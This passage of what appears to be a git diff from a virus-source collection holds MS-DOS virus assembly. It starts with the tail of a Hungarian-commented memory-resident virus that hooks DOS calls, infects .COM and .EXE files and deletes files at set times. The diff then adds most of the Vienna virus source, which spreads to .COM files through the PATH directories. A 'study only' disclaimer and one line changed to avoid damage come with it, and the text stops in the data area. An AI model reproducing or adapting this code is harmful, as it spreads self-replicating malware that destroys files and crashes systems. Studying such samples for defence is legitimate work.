DS:[00A0H],DX + PUSH ES + MOV ES,DS:[0063H] ;A sajat memoriablokkom merete csokken, + MOV BX,DS:[00A0H] ; pont annyi lesz, ahova befer a virus + MOV AX,4A00H ; PSP vel egyutt meg + $10 + INT 21H ;/mivel bemasoltuk, ez ott van/ + POP ES + PUSH ES + MOV AX,3521H ;Get INT_21 vector + INT 21H + MOV DS:[0082H],BX + MOV DS:[0084H],ES + POP ES + MOV DX,06B3H ;Set INT_21 vector + MOV AX,2521H + INT 21H + MOV BYTE PTR DS:[00A8H],1 ;=child process flag + PUSH ES ;Prepare for Load/Exec self + PUSH DS + MOV DS:[008EH],SS + MOV DS:[0090H],SP + MOV AX,WORD PTR DS:[008AH] ;Az L/E egy uj memoriablokkot hoz + MOV WORD PTR DS:[0092H],AX ;letre /a virusprogram felett/ + MOV AX,WORD PTR DS:[0063H] ;exitnel csak az altala lefoglalt + MOV WORD PTR DS:[0096H],AX ;blokk szabadul fel, a virus bent + MOV WORD PTR DS:[009AH],AX ;marad tovabbra is. + MOV WORD PTR DS:[009EH],AX + MOV BX,0092H + MOV DX,DS:[008CH] + MOV AX,WORD PTR DS:[008AH] + MOV DS,AX + MOV AX,4B00H + INT 21H + MOV AX,WORD PTR CS:[008EH] ;A kilepeskor felszabadult a futtato + MOV SS,AX ;blokk, es visszakaptam a vezerlest. + MOV SP,CS:[0090H] + POP DS + POP ES + MOV BYTE PTR DS:[00A8H],0 ;Process flag + MOV DX,DS:[00A0H] + MOV AX,3100H ;Terminate process and remain resident + INT 21H ;(KEEP) +; Akkor hajtodik vegre, ha a virus mar bent van a memoriaban +run_prg: + CMP BYTE PTR CS:[81H],0F8H ;.COM program + JNZ run_exe + JMP run_com +run_exe:MOV DX,DS:[0065H] ;PSP + ADD DS:[0051H],DX ;Inditasi szegmens + MOV AX,WORD PTR DS:[0049H] ;SS relative + ADD AX,DX ;Setup Stack + MOV SS,AX + MOV SP,DS:[004BH] + MOV AX,WORD PTR DS:[0063H] ;Default PSP + MOV DS,AX + MOV ES,AX + STI + JMP DWORD PTR CS:[004FH] ;EXE Start point +; .COM program kornyezet beallitas, es lefuttatas PSP:100 +run_com:MOV AX,WORD PTR DS:[007FH] ;Default PSP + MOV DS,AX + MOV ES,AX + STI + PUSH AX + MOV AX,0100H + PUSH AX + DB 0CBH; RETF +; +; Kartekony: letorol egy par file-t, vagy fertoz +; +_working: + MOV CX,DS:[0072H] ;Veletlen kezdoertek 1..4 ciklus + AND CX,3 + INC CX +delet: PUSH CX + CALL L02C5 + POP CX + LOOP delet + DB 0C3H; RET +; +L02C5: MOV AH,2AH ;Get Date + INT 21H + MOV DS:[00B2H],AL ;Day of Week + PUSH ES + MOV AH,2FH ;Get DTA + INT 21H + MOV DS:[007BH],BX + MOV DS:[007DH],ES + POP ES + MOV DX,0014H ;Set DTA + MOV AH,1AH + INT 21H + PUSH ES + MOV AX,3524H ;Get Dos Fatal Error vector + INT 21H + MOV DS:[0077H],BX + MOV DS:[0079H],ES + POP ES + MOV DX,00B3H + MOV AX,2524H ;Set Fatal Error to : IRET + INT 21H + MOV CX,0FFE3H + MOV DX,000AH ;Search for first :*.* + MOV AH,4EH + INT 21H + JNC _kezd + JMP io_err ; reset DTA, fatal error, RET +_kezd: MOV AH,2CH ;Set randomizer + INT 21H + MOV DS:[0072H],DX + MOV AH,2CH + INT 21H + MOV CL,DL + AND CL,0FH + ROL DS:[0072H],CL + MOV AH,2CH ;Get Time + INT 21H + XOR DS:[0072H],DX + MOV BYTE PTR DS:[00B1H],0 ;idopont-flag + CMP BYTE PTR DS:[00B2H],3 ;Milyen nap van? + JNZ no_date + CMP CH,9 ;Pentek 9h,11h,13h,15h-nal + JZ kill ; kimeletlenul letorol fileokat + CMP CH,0BH + JZ kill ;maskor neha megnezi hogy com/exe-e. + CMP CH,0DH + JZ kill + CMP CH,0FH + JNZ no_date +kill: MOV BYTE PTR DS:[00B1H],1 ;A datum megfelelo +no_date:TEST WORD PTR DS:[0072H],30H + JNZ _1 + JMP d_next +_1: CMP BYTE PTR DS:[00B1H],1 + JNZ look_run + MOV DX,0032H ;Megfelel az idopont, es sajnos... + MOV CX,0020H + MOV AX,4301H + INT 21H ;change file mode to normal + JNB _del + JMP io_err +_del: MOV DX,0032H ;UNLINK file + MOV AH,41H + INT 21H + JMP io_err +; +; Ha futtathato .COM v .EXE a talalt file akkor megfertozi ha meg nincs, +; egyebkent keres egy masik file-t. /1 lehetoseget ad/ +; +look_run: + MOV DI,0032H ;A penteki kritikus idon kivul + XOR AL,AL ;akar fertozhet is + MOV CX,003FH + REPNE SCASB + SUB DI,+04H + MOV BP,DI + MOV SI,DI + MOV CX,0003H ;ez egy .COM volt ??? + MOV DI,000EH + REPE CMPSB + JZ _dcom + MOV SI,BP + MOV CX,0003H ;vagy egy .EXE ??? + MOV DI,0011H + CMPSB + JZ _dexe + JMP d_next ;nem futtathato file, ujat +_dcom: MOV BYTE PTR DS:[0074H],1 + JMP _d +_dexe: MOV BYTE PTR DS:[0074H],0 +_d: MOV DX,0032H ;Get file attr + MOV AX,4300H + INT 21H + JNB _2 + JMP io_err +_2: MOV DS:[0075H],CX + MOV DX,0032H ;Set normal attr + MOV CX,0020H + MOV AX,4301H + INT 21H + JNC L03CD + JMP io_err +L03CD: MOV DX,0032H ;Open file + MOV AX,3D02H + INT 21H + JNB L03DA + JMP io_err +L03DA: MOV BX,AX + MOV AX,5700H ;Get file date/time + INT 21H ;a fertozott fileok ideje oszthato 8-al + JNB _3 + JMP io_err +_3: MOV DS:[0006H],CX + MOV DS:[0008H],DX + TEST CX,0007H + JZ dft_ok + JMP fertoz ;ha nem oszthato 8-al, nincs fertozve +dft_ok: TEST WORD PTR DS:[72H],43H ;meg bizonytalankodik + JZ d_mehet + JMP d_clnxt +d_mehet:MOV CX,0FFFFH ;LSEEK EOF - 6 + MOV DX,0FFFAH + MOV AX,4202H + INT 21H + JNB dls_ok + JMP io_err +dls_ok: MOV CX,0006H ;Read file's last 6 byte + MOV DX,00ABH + MOV AH,3FH + INT 21H + JNC drd_ok + JMP io_err +drd_ok: MOV CX,0003H ;megegyezik valamivel + MOV SI,0984H ;/mar fertozott/ + MOV DI,00ABH + REPE CMPSW + JZ d_clnxt + JMP fertoz +d_clnxt: ;Close and Next + MOV AH,3EH + INT 21H + JNB d_attrs + JMP io_err +dattrs: MOV CX,DS:[0075H] ;Reset attr + MOV DX,0032H + MOV AX,4301H + INT 21H + JNC d_next + JMP io_err +; +; Probal ujabb file-t keresni +; +d_next: TEST WORD PTR DS:[0072H],2CH ;meg egy lehetosege van + JNZ _dsnext + JMP io_err +_dsnext:MOV AH,4FH + INT 21H + JNC _dnxtok + JMP io_err +_dnxtok:JMP _kezd +; +; A fertozott file jellemzoi: /.COM v .EXE / +; +; Csak olyan file-okat fertoz meg melyek hossza nagyobb a virusenal. +; A tul nagy .COM fileokat nem bantja. +; File ido oszthato 8-al +; File vegen levo virus azonosito (6 byte ea80492502. ) +; +fertoz: XOR CX,CX + XOR DX,DX + MOV AX,4202H ;LSEEK eof + INT 21H + JNC _4 + JMP io_err +_4: AND DX,DX + JNZ d_selct + CMP AX,098AH ;csak a virusnal nagyobbak jok + JNC d_selct + JMP d_clnxt +d_selct:CMP BYTE PTR DS:[0074H],1 + JNZ df_exe + JMP df_com +; +; .EXE file megfertozese +; +; 1. Beolvassa a File hosszat mod 512 (+2) es a tobbi informaciot +; 2. A file vegere /size felkerekitett $, $ hatar/ felirja a virus-testet +; 3. Kiszamitja a kod hosszat = eredeti_file_size$ - header_size , +; es ez lesz erteke az uj +SS,+CS nek, IP=0. +; /az eredeti exe kod moge, pont a virusra mutat/ +; 4. Felirja az uj Header informaciot. +; 5. Megallapitja az uj filehossz div,mod 512-t +; 6. Felirja a headerbe (+2) +; 7. Visszaallitja a file-idot (div 8) es a file attributumot +; +df_exe: + MOV BYTE PTR CS:[BAH],0F9H ;.EXE file + XOR CX,CX + MOV DX,0008H + MOV AX,4200H ;LSEEK 8: Size of header $ + INT 21H + JNB _5 + JMP io_err +_5: MOV CX,0002H ;READ Size of header mod 512 + MOV DX,0061H + MOV AH,3FH + INT 21H + JNC _6 + JMP io_err +_6: XOR CX,CX ;LSEEK E: Offset of SS + MOV DX,000EH + MOV AX,4200H + INT 21H + JNC _7 + JMP io_err +_7: MOV CX,000AH ;Read header information + MOV DX,003FH + MOV AH,3FH + INT 21H + JNC _8 + JMP io_err +_8: XOR CX,CX + XOR DX,DX + MOV AX,4202H ;LSEEK eof + INT 21H + JNB _9 + JMP io_err +_9: MOV CX,DX + MOV DX,AX ;a meret felkerekitve egy $-al + ADD DX,+10H ;mindig $ hatar + ADC CX,+00H + AND DX,-10H + MOV AX,4200H + INT 21H ;Elmegy a file vegere /maga szerint/ + JNB _10 + JMP io_err +_10: MOV DS:[005BH],DX + MOV DS:[0059H],AX + MOV CX,098AH + XOR DX,DX ;Felirja a virus-testet + MOV AH,40H + INT 21H + JNB L0501 + JMP io_err +L0501: CMP AX,CX + JE L0508 + JMP io_err +L0508: MOV DX,DS:[005BH] ;size HI max. 000x x=0..f hexad. + MOV CL,0CH + SHL DX,CL + MOV AX,DS:[0059H] ;size LO + MOV CL,04H + SHR AX,CL + OR DX,AX + SUB DX,DS:[0061H] + MOV DS:[005BH],DX ;size $ - header_length = code_length$ + MOV DS:[0053H],DX + MOV WORD PTR DS:[0059H],0 + XOR CX,CX + MOV DX,000EH ;LSEEK E: + MOV AX,4200H + INT 21H + JNB L053A + JMP io_err +L053A: MOV CX,000AH ;WRITE UP new Header Info + MOV DX,0053H ; + MOV AH,40H ; new SS ofs = file moge mutat + INT 21H ; new IP = 0 + JNB L0549 ; new CS ofs = file moge mutat + JMP io_err + NOP +L0549: XOR CX,CX ;LSEEK EOF + XOR DX,DX + MOV AX,4202H + INT 21H + JNB L0557 + JMP io_err + NOP +L0557: ADD AX,01FFH ;Totalsize = exesize + virus + ADC DX,0 ;felkerekiti 512-re + MOV DH,DL + MOV DL,AH ;DX= DL AH + XOR AH,AH + SHR DX,1 ; ez lesz a hanyados + ADC AH,0 + MOV WORD PTR DS:[005DH],AX ; 256/0 maradek + MOV DS:[005FH],DX + XOR CX,CX ;LSEEK 2: size mod 512 + MOV DX,0002H + MOV AX,4200H + INT 21H + JNB L057E + JMP io_err + NOP +L057E: MOV CX,0004H ;WRITE up size mod 512 + MOV DX,005DH ; size div 512 + MOV AH,40H + INT 21H + JNB L058D + JMP SHORT io_err + NOP +L058D: MOV CX,DS:[0006H] ;Set Original file time + MOV DX,DS:[0008H] ;kiveve time oszthato 8-al + AND CX,-08H + MOV AX,5701H + INT 21H + JNB L05A2 + JMP SHORT io_err + NOP +L05A2: MOV AH,3EH ;Close + INT 21H + JNB L05AB + JMP SHORT io_err + NOP +L05AB: MOV CX,DS:[0075H] ;Reset attr + MOV DX,0032H + MOV AX,4301H + INT 21H + JMP io_err +; +; I/O error +; +io_err: PUSH DS + MOV DX,DS:[007BH] + MOV AX,DS:[007DH] + MOV DS,AX ;Reset DTA + MOV AH,1AH + INT 21H + POP DS + PUSH DS + MOV DX,DS:[0077H] + MOV AX,DS:[0079H] ;Reset Fatal Error vector + MOV DS,AX + MOV AX,2524H + INT 21H + POP DS + DB 0C3H; RET +; +; A .COM file megfertozese: +; +; 1. Ellenorzi, hogy nem lesz-e tul nagy a .COM file a virussal egyutt. +; 2. Eltarolja adatteruletere a file elso 3 byte-jat /ezt fogja kicserelni/ +; 3. A file vege utan /felkerekiti egy $-al,mindig $-hatar/ felirja a +; virus-testet. +; 4. A file elejere felirja a JMP v_start utasitast. v_start = filesize + 3 +; 5. Visszaallitja a file-idot azon modositassal, hogy mindig oszthato 8-al +; /ez egy jel amirol gyorsabban ismerheti fel a mar fertozott prg-kat/, +; es az eredeti file-attributumot. +; +df_com: + MOV BYTE PTR CS:[BAH],0F8H ;.COM file + XOR DX,DX + XOR CX,CX + MOV AX,4202H ;LSEEK EOF + INT 21H + JNB _c1 + JMP SHORT io_err +_c1: MOV CX,0FC80H ;nem tul nagy-e a file (max 64K COM) + SUB CX,098AH + CMP AX,CX + JB _csoz + JMP d_clnxt +_csok: XOR DX,DX + XOR CX,CX + MOV AX,4200H ;LSEEK START + INT 21H + JNB _crd3 + JMP SHORT io_err +_crd3: MOV CX,0003H ;READ FILE'S FIRST 3 byte + MOV DX,0003H ;(ezt fogja lecserelni az ugrasra) + MOV AH,3FH ;ds:3 ra azaz a virustestbe + INT 21H + JNB _crdok + JMP SHORT io_err +_crdok: CMP AX,CX + JZ _crdok1 + JMP SHORT io_err +_crdok1:XOR CX,CX ;LSEEK EOF + XOR DX,DX + MOV AX,4202H + INT 21H + JNC _cls1ok + JMP io_err +_cls1ok:MOV BP,AX ; (size + 10h) AND -10h = + ADD BP,+10H + AND BP,-10H ; felkerekiti egy $-al a size-t + XOR CX,CX + MOV DX,BP + MOV AX,4200H ; es elmegy ide /over EOF/ + INT 21H + JNB _covr + JMP io_err +_covr: MOV CX,098AH ;WRITE felirja a virustestet + XOR DX,DX + MOV AH,40H + INT 21H + JNB _cwrok + JMP io_err +_cwrok: CMP AX,CX + JZ _cwr1ok + JMP io_err +_cwrok1:XOR DX,DX ;LSEEK START + XOR CX,CX + MOV AX,4200H + INT 21H + JNB L0664 + JMP io_err +L0664: MOV BYTE PTR DS:[0003H],0E9H + SUB BP,+03H ;WRITE jmp virus (size+3) + MOV DS:[0004H],BP + MOV CX,0003H + MOV DX,0003H + MOV AH,40H + INT 21H + JNB L067F + JMP io_err +L067F: CMP AX,CX + JE L0686 + JMP io_err +L0686: MOV CX,DS:[0006H] ;Set file Date/Time + MOV DX,DS:[0008H] ;A FERTOZOTT FILE IDEJE OSZTHATO 8-AL + AND CX,-08H ;CX = xxxxx000 + MOV AX,5701H + INT 21H + JNB L069B + JMP io_err +L069B: MOV AH,3EH ;Close file + INT 21H + JNB L06A4 + JMP io_err +L06A4: MOV CX,DS:[0075H] ;Set original file attr + MOV DX,0032H + MOV AX,4301H + INT 21H + JMP io_err ;befejezodott a fertozes + +;******************************* +;* * +;* A rezidens INT_21 funkcio * +;* * +;******************************* + + CMP AX,0FFFFH ;virus funkcio: install_stat + JNE L06C2 + CMP BX,0FF0H + JNE L06C2 + MOV CX,0FEC1H ;visszaadja az install-kodot + IRET +L06C2: CMP AH,3EH ;CLOSE + JE L0710 + CMP AH,41H ;UNLINK + JE L0710 + CMP AH,3CH ;CREAT + JE L0710 + CMP AH,42H ;LSEEK + JE L0710 + CMP AH,43H ;CHMOD + JE L0710 + CMP AH,4BH ;L/E + JE L0710 + CMP AH,4EH ;FFIRST + JE L0710 + CMP AH,4FH ;FNEXT + JE L0710 + CMP AH,5BH ;CREATE + JE L0710 + CMP AH,39H ;MKDIR + JE L0710 + CMP AH,3AH ;RMDIR + JE L0710 + CMP AH,3BH ;CHDIR + JE L0710 + CMP AH,3DH ;OPEN + JE L0710 + CMP AH,3FH ;READ + JE L0710 + CMP AH,40H ;WRITE except BX=1 stdout + JE L0710 + JMP jmp_dos +L0710: + CMP BYTE PTR CS:[00A8H],1 ;Ha Child processben vagyunk + JNE L071B ;mindent beken kell hagyni... + JMP jmp_dos +L071B: CMP AH,40H ;FN = WRITE, handle=1 (print) + JNE L0728 ; nem bantja + CMP BX,+01H + JNE L0728 + JMP jmp_dos ;to dos +L0728: + MOV CS:[00A9H],AX + MOV CS:[00A4H],SS + MOV CS:[00A6H],SP + MOV AX,CS + MOV SS,AX + MOV SP,08F3H + PUSH ES + PUSH DS + PUSH AX + PUSH BX + PUSH CX + PUSH DX + PUSH SI + PUSH DI + PUSH BP + MOV AX,CS + MOV DS,AX + MOV ES,AX + PUSH DS + MOV DX,DS:[0082H] + MOV AX,DS:[0084H] + MOV DS,AX + MOV AX,2521H ;Visszaallitja az eredeti + INT 21H ; DOS hivas lehetoseget + POP DS ; a rutinon belul + NOP + NOP + NOP + NOP + MOV AH,2CH ;Randomize + INT 21H + MOV DS:[0072H],DX + MOV AH,2CH + INT 21H + MOV CL,DL + AND CL,0FH + ROL DS:[0072H],CL + MOV AH,2CH + INT 21H + XOR DS:[0072H],DX + MOV AH,2CH + INT 21H + CMP CL,DS:[00A3H] + JZ L0792 + MOV DS:[00A3H],CL ;min + MOV DS:[00A2H],DH ;sec + JMP do_it + NOP +L0792: MOV BL,DS:[00A2H] ;felorankent kozbelep + ADD BL,30 + CMP DH,BL + JC _vDOS + MOV DS:[00A2H],DH +do_it: CALL _working +vDOS: MOV DX,06B3H ;visszaallitja onmagat DOS-nak + MOV AX,2521H + INT 21H + POP BP + POP DI + POP SI + POP DX + POP CX + POP BX + POP AX + POP DS + POP ES + MOV AX,WORD PTR CS:[00A4H] + MOV SS,AX + MOV SP,CS:[00A6H] + MOV AX,WORD PTR CS:[00A9H] +jmp_dos + JMP DWORD PTR CS:[0082H] ;Exec DOS fn + + db 'The incredible anyad' + +XPROC ENDP +XSEG ENDS + END + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.vienna-a.asm b/MSDOS/Virus.MSDOS.Unknown.vienna-a.asm new file mode 100644 index 00000000..906c7f99 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.vienna-a.asm @@ -0,0 +1,686 @@ + +;***************************************************************************** +; +; *** NOT FOR GENERAL DISTRIBUTION *** The Vienna Virus +; +; This file is for the purpose of virus study only! It should not be passed +; around among the general public. It will be very useful for learning +; how viruses work and propagate. But anybody with access to an assembler +; can turn it into a working virus and anybody with a bit of assembly coding +; experience can turn it into a far more malevolent program than it already +; is. Keep this code in responsible hands! +; +; This program does not check wether or not the .COM file to be infected is +; really a .COM file or simply a misnamed .EXE file. DOS does not rely on the +; file extension, but does a double-check by looking for a signature that +; indicates wether or not a file REALLY is an .EXE file. The virus writer +; apparently did not know this. This virus will take any .EXE file that's +; been renamed to a .COM file and try to infect it, obscuring the signature +; that marks it as an .EXE file. When the infected file is then run, the +; virus code will run first, and then the machine will try to run the .EXE +; header data as though it were code. This is likely to crash the machine, and +; since some later versions of DOS itself contain such misnamed .EXE files, +; it's likely to happen. +; +;****************************************************************************** + +;****************************************************************************** +;It seems that MASM won't always willingly translate ordinary assembly code +; into the byte-for-byte replacement of the code in the Vienna Virus. Since +; MASM is just a 2 pass assembler, it doesn't always have enough information to +; figure out the size of an instruction when it needs to. To be safe, it makes +; its guess on the high side and then adds in unrequested NOPS if it needs to +; pad out the space it allocated. Many of the NOPs in this virus are the result +; of this. But the virus writer seems to have done a bit of hand modification +; to the virus, and as a result, one instance where we'd expect a NOP, there +; isn't one. This macro allows us to mimic that instance, where an ordinary +; MOV CX,xx would otherwise have worked fine. +;****************************************************************************** + +MOV_CX MACRO X + DB 0B9H + DW X +ENDM + + +CODE SEGMENT + ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE + ORG $+0100H + +;***************************************************************************** +;Start out with a JMP around the remains of the original .COM file, into the +;virus. The actual .COM file was just an INT 20, followed by a bunch of NOPS. +;The rest of the file (first 3 bytes) are stored in the virus data area. +;***************************************************************************** + +VCODE: JMP virus + + +;This was the rest of the original .COM file. Tiny and simple, this time + + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + + +;************************************************************ +; The actual virus starts here +;************************************************************ + +v_start equ $ + + +virus: PUSH CX + MOV DX,OFFSET vir_dat ;This is where the virus data starts. + ; The 2nd and 3rd bytes get modified. + CLD ;Pointers will be auto INcremented + MOV SI,DX ;Access data as offset from SI + ADD SI,first_3 ;Point to original 1st 3 bytes of .COM + MOV DI,OFFSET 100H ;`cause all .COM files start at 100H + MOV CX,3 + REPZ MOVSB ;Restore original first 3 bytes of .COM + MOV SI,DX ;Keep SI pointing to the data area + +;************************************************************* +; Check the DOS version +;************************************************************* + + MOV AH,30H + INT 21H + + CMP AL,0 ;0 means it's version 1.X + + JNZ dos_ok ;For version 2.0 or greater + JMP quit ;Don't try to infect version 1.X + + +;************************************************************* +; Here if the DOS version is high enough for this to work +;************************************************************* + +dos_ok: PUSH ES + + +;************************************************************* +; Get DTA address into ES:BX +;************************************************************* + + MOV AH,2FH + INT 21H + +;************************************************************* +; Save the DTA address +;************************************************************* + + + MOV [SI+old_dta],BX + MOV [SI+old_dts],ES ;Save the DTA address + + POP ES + +;************************************************************* +; Set DTA to point inside the virus data area +;************************************************************* + + MOV DX,dta ;Offset of new DTA in virus data area +; NOP ;MASM will add this NOP here + ADD DX,SI ;Compute DTA address + MOV AH,1AH + INT 21H ;Set new DTA to inside our own code + + + PUSH ES + PUSH SI + MOV ES,DS:2CH + MOV DI,0 ;ES:DI points to environment + +;************************************************************ +; Find the "PATH=" string in the environment +;************************************************************ + +find_path: + POP SI + PUSH SI ;Get SI back + ADD SI,env_str ;Point to "PATH=" string in data area + LODSB + MOV CX,OFFSET 8000H ;Environment can be 32768 bytes long + REPNZ SCASB ;Search for first character + MOV CX,4 + +;************************************************************ +; Loop to check for the next four characters +;************************************************************ + +check_next_4: + LODSB + SCASB + JNZ find_path ;If not all there, abort & start over + LOOP check_next_4 ;Loop to check the next character + + POP SI + POP ES + MOV [SI+path_ad],DI ;Save the address of the PATH + MOV DI,SI + ADD DI,wrk_spc ;File name workspace + MOV BX,SI ;Save a copy of SI + ADD SI,wrk_spc ;Point SI to workspace + MOV DI,SI ;Point DI to workspace + JMP SHORT slash_ok + + +;********************************************************** +; Look in the PATH for more subdirectories, if any +;********************************************************** + +set_subdir: + CMP WORD PTR [SI+path_ad],0 ;Is PATH string ended? + JNZ found_subdir ;If not, there are more subdirectories + JMP all_done ;Else, we're all done + + +;********************************************************** +; Here if there are more subdirectories in the path +;********************************************************** + +found_subdir: + PUSH DS + PUSH SI + MOV DS,ES:2CH ;DS points to environment segment + MOV DI,SI + MOV SI,ES:[DI+path_ad] ;SI = PATH address + ADD DI,wrk_spc ;DI points to file name workspace + + +;*********************************************************** +; Move subdirectory name into file name workspace +;*********************************************************** + +move_subdir: + LODSB ;Get character + CMP AL,';' ;Is it a ';' delimiter? + JZ moved_one ;Yes, found another subdirectory + CMP AL,0 ;End of PATH string? + JZ moved_last_one ;Yes + STOSB ;Save PATH marker into [DI] + JMP SHORT move_subdir + +;****************************************************************** +; Mark the fact that we're looking through the final subdirectory +;****************************************************************** + +moved_last_one: + MOV SI,0 + + +;****************************************************************** +; Here after we've moved a subdirectory +;****************************************************************** + +moved_one: + POP BX ;Pointer to virus data area + POP DS ;Restore DS + MOV [BX+path_ad],SI ;Address of next subdirectory + NOP + +;****************************************************************** +; Make sure subdirectory ends in a "\" +;****************************************************************** + + CMP CH,'\' ;Ends with "\"? + JZ slash_ok ;If yes + MOV AL,'\' ;Add one, if not + STOSB + + +;****************************************************************** +; Here after we know there's a backslash at end of subdir +;****************************************************************** + +slash_ok: + MOV [BX+nam_ptr],DI ;Set filename pointer to name workspace + MOV SI,BX ;Restore SI + ADD SI,f_spec ;Point to "*.COM" + MOV CX,6 + REPZ MOVSB ;Move "*.COM",0 to workspace + + MOV SI,BX + + +;******************************************************************* +; Find first string matching *.COM +;******************************************************************* + + MOV AH,4EH + MOV DX,wrk_spc +; NOP ;MASM will add this NOP here + ADD DX,SI ;DX points to "*.COM" in workspace + MOV CX,3 ;Attributes of Read Only or Hidden OK + INT 21H + + JMP SHORT find_first + + +;******************************************************************* +; Find next ASCIIZ string matching *.COM +;******************************************************************* + +find_next: + MOV AH,4FH + INT 21H + +find_first: + JNB found_file ;Jump if we found it + JMP SHORT set_subdir ;Otherwise, get another subdirectory + +;******************************************************************* +; Here when we find a file +;******************************************************************* + +found_file: + MOV AX,[SI+dta_tim] ;Get time from DTA + AND AL,1FH ;Mask to remove all but seconds + CMP AL,1FH ;62 seconds -> already infected + JZ find_next ;If so, go find another file + + CMP WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too long? + JA find_next ;If too long, find another one + + CMP WORD PTR [SI+dta_len],0AH ;Is it too short? + JB find_next ;Then go find another one + + MOV DI,[SI+nam_ptr] ;DI points to file name + PUSH SI ;Save SI + ADD SI,dta_nam ;Point SI to file name + +;******************************************************************** +; Move the name to the end of the path +;******************************************************************** + +more_chars: + LODSB + STOSB + CMP AL,0 + JNZ more_chars ;Move characters until we find a 00 + + +;******************************************************************** +; Get File Attributes +;******************************************************************** + + POP SI + MOV AX,OFFSET 4300H + MOV DX,wrk_spc ;Point to \path\name in workspace +; NOP ;MASM will add this NOP here + ADD DX,SI + INT 21H + + + MOV [SI+old_att],CX ;Save the old attributes + + +;******************************************************************** +; Rewrite the attributes to allow writing to the file +;******************************************************************** + + MOV AX,OFFSET 4301H ;Set attributes + AND CX,OFFSET 0FFFEH ;Set all except "read only" (weird) + MOV DX,wrk_spc ;Offset of \path\name in workspace +; NOP ;MASM will add this NOP here + ADD DX,SI ;Point to \path\name + INT 21H + +;******************************************************************** +; Open Read/Write channel to the file +;******************************************************************** + + MOV AX,OFFSET 3D02H ;Read/Write + MOV DX,wrk_spc ;Offset to \path\name in workspace +; NOP ;MASM will add this NOP here + ADD DX,SI ;Point to \path\name + INT 21H + + JNB opened_ok ;If file was opened OK + JMP fix_attr ;If it failed, restore the attributes + + +;******************************************************************* +; Get the file date & time +;******************************************************************* + +opened_ok: + MOV BX,AX + MOV AX,OFFSET 5700H + INT 21H + + MOV [SI+old_tim],CX ;Save file time + MOV [SI+ol_date],DX ;Save the date + +;******************************************************************* +; Get current system time +;******************************************************************* + + MOV AH,2CH + INT 21H + + + AND DH,7 ;Last 3 bits 0? (once in eight) + +;******************************************************************* +; The following line is a change from the original virus. Originally +; the following line would be JNZ seven_in_eight. This would ruin +; about 1/8 of all .COM files infected, while the other 7/8 would +; be left workable, but infected. For the purpose of studying a +; live virus, the changed line is not so damaging. +;******************************************************************* + JMP SHORT seven_in_eight + + +;******************************************************************* +; The special "one in eight" infection. If the above line were in +; its original form, this code would be run 1/8 of the time, and +; rather than appending a copy of this virus to the .COM file, the +; file would get 5 bytes of code that reboot the system when the +; .COM file is run. +;******************************************************************* + + + MOV AH,40H ;Write to file + MOV CX,5 ;Five bytes + MOV DX,SI + ADD DX,reboot ;Offset of reboot code in data area + INT 21H + + JMP SHORT fix_time_stamp + + NOP + + +;****************************************************************** +; Here;s where we infect a .COM file with this virus +;****************************************************************** + +seven_in_eight: + MOV AH,3FH + MOV CX,3 + MOV DX,first_3 +; NOP ;MASM will add this NOP here + ADD DX,SI + INT 21H ;Save first 3 bytes into the data area + + JB fix_time_stamp ;Quit, if read failed + + CMP AX,3 ;Were we able to read all 3 bytes? + JNZ fix_time_stamp ;Quit, if not + + +;****************************************************************** +; Move file pointer to end of file +;****************************************************************** + + MOV AX,OFFSET 4202H + MOV CX,0 + MOV DX,0 + INT 21H + + JB fix_time_stamp ;Quit, if it didn't work + + MOV CX,AX ;DX:AX (long int) = file size + SUB AX,3 ;Subtract 3 (OK, since DX must be 0, here) + MOV [SI+jmp_dsp],AX ;Save the displacement in a JMP instruction + + ADD CX,OFFSET c_len_y + MOV DI,SI ;Point DI to virus data area + SUB DI,OFFSET c_len_x + ;Point DI to reference vir_dat, at start of pgm + MOV [DI],CX ;Modify vir_dat reference:2nd, 3rd bytes of pgm + + +;******************************************************************* +; Write virus code to file +;******************************************************************* + + MOV AH,40H + + MOV_CX virlen ;Length of virus, in bytes + + MOV DX,SI + SUB DX,OFFSET codelen ;Length of virus code, gives starting + ; address of virus code in memory + INT 21H + + JB fix_time_stamp ;Jump if error + + CMP AX,OFFSET virlen ;All bytes written? + JNZ fix_time_stamp ;Jump if error + + +;********************************************************************** +; Move file pointer to beginning of the file +;********************************************************************** + + MOV AX,OFFSET 4200H + MOV CX,0 + MOV DX,0 + INT 21H + + JB fix_time_stamp ;Jump if error + + +;********************************************************************** +; Write the 3 byte JMP at the start of the file +;********************************************************************** + + MOV AH,40H + MOV CX,3 + MOV DX,SI ;Virus data area + ADD DX,jmp_op ;Point to the reconstructed JMP + INT 21H + + +;********************************************************************** +; Restore old file date & time, with seconds modified to 62 +;********************************************************************** + +fix_time_stamp: + MOV DX,[SI+ol_date] ;Old file date + MOV CX,[SI+old_tim] ;Old file time + AND CX,OFFSET 0FFE0H + OR CX,1FH ;Seconds = 31/30 min = 62 seconds + MOV AX,OFFSET 5701H + INT 21H + + +;********************************************************************** +; Close File +;********************************************************************** + + MOV AH,3EH + INT 21H + + +;********************************************************************** +; Restore Old File Attributes +;********************************************************************** + +fix_attr: + MOV AX,OFFSET 4301H + MOV CX,[SI+old_att] ;Old Attributes + MOV DX,wrk_spc +; NOP ;MASM will add this NOP + ADD DX,SI ;DX points to \path\name in workspace + INT 21H + + +;********************************************************************** +; Here when it's time to close it up & end +;********************************************************************** + +all_done: + PUSH DS + + +;********************************************************************** +; Restore old DTA +;********************************************************************** + + MOV AH,1AH + MOV DX,[SI+old_dta] + MOV DS,[SI+old_dts] + INT 21H + + POP DS + + +;************************************************************************* +; Clear registers used, & do a weird kind of JMP 100. The weirdness comes +; in since the address in a real JMP 100 is an offset, and the offset +; varies from one infected file to the next. By PUSHing an 0100H onto the +; stack, we can RET to address 0100H just as though we JMPed there. +;********************************************************************** + +quit: + POP CX + XOR AX,AX + XOR BX,BX + XOR DX,DX + XOR SI,SI + MOV DI,OFFSET 0100H + PUSH DI + XOR DI,DI + + RET 0FFFFH + +;************************************************************************ +;The virus data starts here. It's accessed off the SI register, per the +; comments as shown +;************************************************************************ + +vir_dat EQU $ + + + ;Use this with (SI + old_dta) +olddta_ DW 0 ;Old DTA offset + + ;Use this with (SI + old_dts) +olddts_ DW 0 ;Old DTA segment + + ;Use this with (SI + old_tim) +oldtim_ DW 0 ;Old Time + + ;Use this with (SI + ol_date) 